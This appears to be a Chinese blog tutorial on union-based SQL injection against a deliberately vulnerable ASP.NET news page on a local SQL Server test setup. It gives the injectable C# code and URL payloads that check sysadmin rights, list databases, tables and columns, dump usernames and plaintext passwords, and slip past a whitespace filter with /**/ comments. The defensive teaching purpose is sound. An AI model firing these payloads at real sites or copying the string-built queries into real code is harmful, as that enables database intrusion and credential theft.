SQL注入是一個比較“古老”的話題,雖然現在存在這種漏洞的站點比較少了,我們還是有必要了解一下它的危害,及其常用的手段,知己知彼方能百戰不殆。進攻與防守相當於矛和盾的關系,我們如果能清楚了解
攻擊的全過程,就可以更好的預防類似情況的出現。
接着上篇,還是新聞發布系統,上篇演示的盲注,其實還有更簡單的辦法。上篇是從新聞詳細頁面入侵成功,在下面的測試中入侵者發現新聞列表頁面也存在相同的漏洞,呵呵呵,貌似從這里入侵更方便些。
這里測試環境跟上一篇相同, MSQL + asp.net 。新聞列表頁面代碼如下:
protected void Page_Load(object sender, EventArgs e) { try { var sql = string.Format("select * from news where categoryid ='{0}'" ,Request["cId"]); var ds = new DataSet(); var sqlCon = SqlHelper.GetConnection(); SqlHelper.FillDataset(sqlCon, CommandType.Text, sql, ds, null); ListView1.DataSource = ds.Tables[0]; ListView1.DataBind(); } catch (Exception ex) { } }
廢話少說,開始吧。下面是文章列表頁面地址: http://localhost:2003/index?cId=category1
1. 確認用戶數據庫權限
先看看當前用戶的數據庫服務器角色,
先普及一下,數據庫服務器角色見下表:
角色 | 描述 |
---|---|
sysadmin | 執行SQL Server中的任何動作(sa 權限) |
serveradmin | 配置服務器設置 |
setupadmin | 安裝復制和管理擴展過程 |
securityadmin | 管理登錄和CREATE DATABASE的權限以及閱讀審計 |
processadmin | 管理SQL Server進程 |
dbcreator | 創建和修改數據庫 |
diskadmin | 管理磁盤文件 |
bulkadmin | 可以運行 Bulk insert 語句 |
確認用戶是否具有“數據庫服務器角色” 的語句為 select IS_SRVROLEMEMBER('sysadmin') 返回 0 或 1,IS_SRVROLEMEMBER 函數詳細說明見: https://technet.microsoft.com/zh-cn/ms176015
如果您對數據庫權限體系不了解的話請移步 http://www.cnblogs.com/CareySon/archive/2012/04/10/mssql-security-principal.html
繼續,在URL中注入查看用戶數據庫服務器角色的語句 http://localhost:2003/index?cId=category1' and (select IS_SRVROLEMEMBER('sysadmin'))=1 --
哈哈哈,居然是 sa賬號,下面就輕松了。
2. 看看新聞表查詢語句返回多少字段
要執行的語句 select * from news where categoryid ='category1' order by 3
在URL里輸入 http://localhost:2003/index?cId=category1' order by 3 --
頁面顯示正常,說明表字段至少有3個,繼續嘗試當輸入 http://localhost:2003/index?cId=category1' order by 6 --
時頁面數據丟失,說明新聞表查詢語句返回5個字段。為什么要知道它返回多少字段,別急,下面我們就要用的着。
3. 查詢數據庫列表
MSQL 數據庫都存放在 master 表里 ,查詢語句 select [name] from master.dbo.sysdatabases order by [name] 因為是跨庫查詢 所有要使用 master.dbo.sysdatabases
那么查詢出來的數據怎么做頁面上顯示出來呢,有辦法使用 union 語句,而 union 語句 返回的字段數和類型必須跟 前面的查詢語句返回字段相同,第2步工作就派上用場了,返回5個字段
而且同過 上一篇文章 WEB 安全之 SQL注入一 我們已經知道文章ID為數字類型,列表里面 標題、創建日期 的類型也很好判斷,5個字段知道3個字段的字段類型了,其他2個只能試試了,暫且認為都是字符串類型吧
那么我們構造查詢語句 試試 select * from news where categoryid ='category1' union select 1,[name],'2016-11-18','4','5' from master.dbo.sysdatabases
當然如果想把新聞數據去掉 (where categoryid ='category1' and 1=2 union ) 構造此查詢語句需要在URL里輸入
http://localhost:2003/index?cId=category1' union select 1,[name],'2016-11-18','4','5' from master.dbo.sysdatabases --
不可以,沒有數據返回,估計創建日期列的位置不對,或者其他有那一個字段類型不對這里是考驗入侵者耐心的地方多試幾次,直到輸入
http://localhost:2003/index?cId=category1' union' select' 1,[name],'3','2016-11-18','5' from master.dbo.sysdatabases --
,注意看下面的數據庫列表,我的截圖里只把 master 數據庫顯示出來,其他沒截取,呵呵呵又突破一層。
4. 查詢數據庫里包含的表
數據庫羅列出來,下面我們就要看如何查詢數據庫里包含的表了,查詢語句 SELECT Name FROM 數據庫名.架構名.SysObjects Where XType='U'
根據日常的經驗,架構名 可以說 80%以上的數據庫里 都是默認架構 dbo,我們就構造一條語句爆出它的表名。(假設我們第3步根據返回的數據庫列表已經確認本系統的數據庫名,怎么確認不在此討論范圍內,本示例數據庫名為 SqlLinjection)
攻擊者需要構造后的語句 select * from news where categoryid ='category1' and 1=2 union SELECT 1,Name,'3','2016-11-18','5' FROM SqlLinjection.dbo.SysObjects Where XType='U' (前面我們已經知道 新聞列表查詢語句返回字段類型了)
這一步比較簡單 URL輸入 http://localhost:2003/index?cId=category1' and 1=2 union SELECT 1,Name,'3','2016-11-18','5' FROM SqlLinjection.dbo.SysObjects Where XType='U
可以確認 2張表 news 、user
5. 查詢用戶表字段
最終目標就要達成了,表字段查詢語句 SELECT Name FROM SysColumns WHERE id=Object_Id('user') ,要爆出字段同樣要用到萬惡的 union 語句
攻擊者構造如下語句 select * from news where categoryid ='category1' and 1=2 union SELECT 1,Name,'3','2016-11-18','5' FROM SysColumns WHERE id=Object_Id('user') 又是 union
攻擊者在URL里面輸入 http://localhost:2003/index?cId=category1' and 1=2 union SELECT 1,Name,'3','2016-11-18','5' FROM SysColumns WHERE id=Object_Id('user') --
字段都出來了,4個字段,攻擊者最關心的就是 name、pwd
6. 爆密碼、用戶名
爆 用戶名,密碼 語句 select * from news where categoryid ='category1' and 1=2 union SELECT 1, Name + '<>'+pwd,'3','2016-11-18','5' FROM [user] 其中用 '<>' 分割用戶名密碼
URL里輸入 http://localhost:2003/index?cId=category1' and 1=2 union SELECT 1, Name + '<>' + pwd,'3','2016-11-18','5' FROM [user] -- 奇怪沒達到預期目的,數據顯示不出來,問題出現在 + 上。
URL 會把加號轉換為空格的,轉義一下 用 "2B%"替換就可以了 http://localhost:2003/index?cId=category1' and 1=2 union SELECT 1, Name%2b'<>'%2bpwd,'3','2016-11-18','5' FROM [user] --
用戶名密碼拿到了,密碼還是明文的,這是相比較盲注的另一種注入方式。
7.繞過空格限制
話說攻擊者入侵后,管理員通過查看日志發現異常
小樣,我把空空格給你過濾掉不就可以了嗎?修改后台代碼
public partial class index : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { try { var id = Request["cId"]; if (IsContainsSpaces(id)) { Response.Write("悟空,又調皮了!"); Response.End(); } var sql = string.Format("select * from news where categoryid ='{0}'" ,id); var ds = new DataSet(); var sqlCon = SqlHelper.GetConnection(); SqlHelper.FillDataset(sqlCon, CommandType.Text, sql, ds, null); ListView1.DataSource = ds.Tables[0]; ListView1.DataBind(); } catch (Exception ex) { } } private bool IsContainsSpaces(string str) { var reg = new Regex(@"[\s]+"); return reg.IsMatch(str.Trim()); } }
攻擊者還有其他方法繞過去的 URL里輸入 http://localhost:833/index?cId=category1'/**/and/**/1=1/**/--
呵呵呵,空格是可以用 /**/ 來代替的
結束語:知恥而后勇 知不足而奮進。 拒絕漏洞從我做起,網絡安全程序猿有責。